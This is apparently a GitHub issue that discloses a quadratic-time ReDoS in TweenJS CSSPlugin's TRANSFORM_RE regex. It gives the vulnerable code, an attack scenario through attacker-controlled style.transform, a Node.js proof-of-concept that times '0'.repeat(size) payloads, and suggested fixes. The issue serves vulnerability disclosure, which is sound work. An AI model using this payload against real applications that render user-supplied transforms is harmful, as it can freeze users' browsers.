Skip to content

Potential ReDoS in CSSPlugin transform parsing #117

@WiiiiillYeng

Description

@WiiiiillYeng

Hi, I would like to report a potential Regular Expression Denial of Service issue in CSSPlugin's transform parsing logic.

Summary

CSSPlugin.TRANSFORM_RE can exhibit polynomial, approximately quadratic, runtime on a crafted transform string:

/(\w+?)\(([^)]+)\)|(?:^| )(\*)(?:$| )/g

The regex is used by parseTransform() through repeated global exec() calls. When a long string contains many word characters but does not contain the expected ( for a transform function, the first branch is retried from many positions and repeatedly scans forward before failing.

Affected Code

File:

src/plugins/CSSPlugin.js

Relevant code:

CSSPlugin.TRANSFORM_RE = /(\w+?)\(([^)]+)\)|(?:^| )(\*)(?:$| )/g;

function parseTransform(str, compare) {
	let result,
		list = [false, str];
	do {
		result = CSSPlugin.TRANSFORM_RE.exec(str);
		if (!result) {
			break;
		}
		// ...
	} while (true);
}

Trigger Scenario

This issue is reachable when an application allows attacker-controlled data to affect an element's existing style.transform, and then TweenJS/CSSPlugin is used to animate that element's transform.

For example, this can happen in applications such as page builders, campaign editors, ad/widget platforms, CMS-driven pages, or low-code tools where a user-supplied configuration is first applied to the DOM:

element.style.transform = userControlledInitialTransform;

and later the application starts a TweenJS animation:

Tween.get(element).to({ transform: "translate(1px, 2px)" }, 1000);

During tween initialization, CSSPlugin.init() reads the existing inline style.transform, passes it to parseTransform(), and triggers CSSPlugin.TRANSFORM_RE.exec(str).

The attack string used in the PoC is:

"0".repeat(size)

Impact

Because the parsing runs synchronously on the JavaScript main thread, a crafted transform string can block the browser/UI thread. In a browser application this may cause:

  • page freezes or severe UI lag;
  • delayed or blocked animations and interactions;
  • "page unresponsive" behavior for large inputs;
  • denial of service for pages that render attacker-controlled animation/style configuration.

PoC

I created a verification environment that uses the real local package and real CSSPlugin source code.

"use strict";

const fs = require("fs");
const path = require("path");
const vm = require("vm");
const { performance } = require("perf_hooks");

const projectRoot = path.resolve(__dirname, "..", "..");
const tweenPackageRoot = path.join(projectRoot, "node_modules", "@createjs", "tweenjs");
const cssPluginPath = path.join(tweenPackageRoot, "src", "plugins", "CSSPlugin.js");

class HTMLElement {
	constructor() {
		this.style = {};
	}
}

global.window = {
	createjs: {},
	getComputedStyle(target) {
		return target.style;
	}
};
global.HTMLElement = HTMLElement;

const tweenjs = require(path.join(tweenPackageRoot, "dist", "tweenjs.cjs.js"));
const { Tween } = tweenjs;
const CSSPlugin = loadCSSPlugin();

registerCSSPlugin();

function loadCSSPlugin() {
	const source = fs.readFileSync(cssPluginPath, "utf8");
	const cjsSource = source
		.replace("export default class CSSPlugin", "class CSSPlugin")
		.concat("\nmodule.exports = CSSPlugin;\n");
	const sandbox = {
		module: { exports: {} },
		exports: {},
		console,
		window: global.window,
		HTMLElement: global.HTMLElement
	};
	vm.runInNewContext(cjsSource, sandbox, { filename: cssPluginPath });
	return sandbox.module.exports;
}

function registerCSSPlugin() {
	CSSPlugin.install();

	// @createjs/tweenjs@2.0.0-beta.4 has a strict-mode scoping bug in
	// Tween.installPlugin(), so register the plugin without modifying node_modules.
	Tween._plugins = [CSSPlugin];
}

function resetTweenState() {
	Tween._tweenHead = Tween._tweenTail = null;
	Tween._plugins = [CSSPlugin];
}

function createTweenFromInitialTransform(initialTransform, nextTransform) {
	resetTweenState();

	const el = new HTMLElement();
	el.style.transform = initialTransform;

	Tween.get(el, { paused: true }).to({ transform: nextTransform }, 1000);
	return el;
}

function measure(label, initialTransform, nextTransform, iterations = 1) {
	const started = performance.now();
	let error = null;
	let runs = 0;
	for (let i = 0; i < iterations; i++) {
		try {
			createTweenFromInitialTransform(initialTransform, nextTransform);
			runs++;
		} catch (err) {
			runs++;
			error = `${err.name}: ${err.message}`;
			break;
		}
	}
	const elapsedMs = performance.now() - started;
	return {
		label,
		iterations: runs,
		inputLength: initialTransform.length,
		elapsedMs,
		avgMs: elapsedMs / runs,
		error
	};
}

function attackPayload(size) {
	return "0".repeat(size);
}

function printResult(result) {
	console.log(
		[
			result.label.padEnd(18),
			`len=${String(result.inputLength).padStart(7)}`,
			`runs=${String(result.iterations).padStart(3)}`,
			`total=${result.elapsedMs.toFixed(3).padStart(10)} ms`,
			`avg=${result.avgMs.toFixed(3).padStart(10)} ms`,
			result.error ? `error=${result.error}` : "error=none"
		].join("  ")
	);
}

function runNormal() {
	console.log("Normal transform verification through @createjs/tweenjs Tween.get(...).to(...):");
	printResult(
		measure(
			"normal",
			"translate(20px, 30px) rotate(0deg)",
			"translate(40px, 50px) rotate(10deg)",
			1000
		)
	);
}

function runRedos() {
	console.log("ReDoS verification through attacker-controlled initial style.transform:");
	for (const size of [1000, 2000, 4000, 8000, 16000, 32000, 64000]) {
		printResult(
			measure(
				`attack-${size}`,
				attackPayload(size),
				"translate(1px, 2px)",
				1
			)
		);
	}
}

function main() {
	const mode = process.argv[2] || "all";

	console.log(`Package: @createjs/tweenjs ${require(path.join(tweenPackageRoot, "package.json")).version}`);
	console.log(`CSSPlugin: ${cssPluginPath}`);
	console.log("");

	if (mode === "normal") {
		runNormal();
		return;
	}
	if (mode === "redos") {
		runRedos();
		return;
	}
	if (mode !== "all") {
		console.error(`Unknown mode: ${mode}`);
		process.exitCode = 1;
		return;
	}

	runNormal();
	console.log("");
	runRedos();
}

main();

Run:

npm run verify

Observed output screenshot:

Image

The normal case completes 1000 iterations in a few milliseconds. The crafted input becomes much slower as the payload length increases.

When the payload size doubles, the runtime is roughly multiplied by four. This indicates polynomial, approximately quadratic, growth. Since this work is performed synchronously during transform parsing, the behavior is consistent with a ReDoS vulnerability.

Possible Fix

A few possible mitigations:

  • Avoid the unanchored global regex scan for transform functions.
  • Add a reasonable maximum length check for transform strings before parsing.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions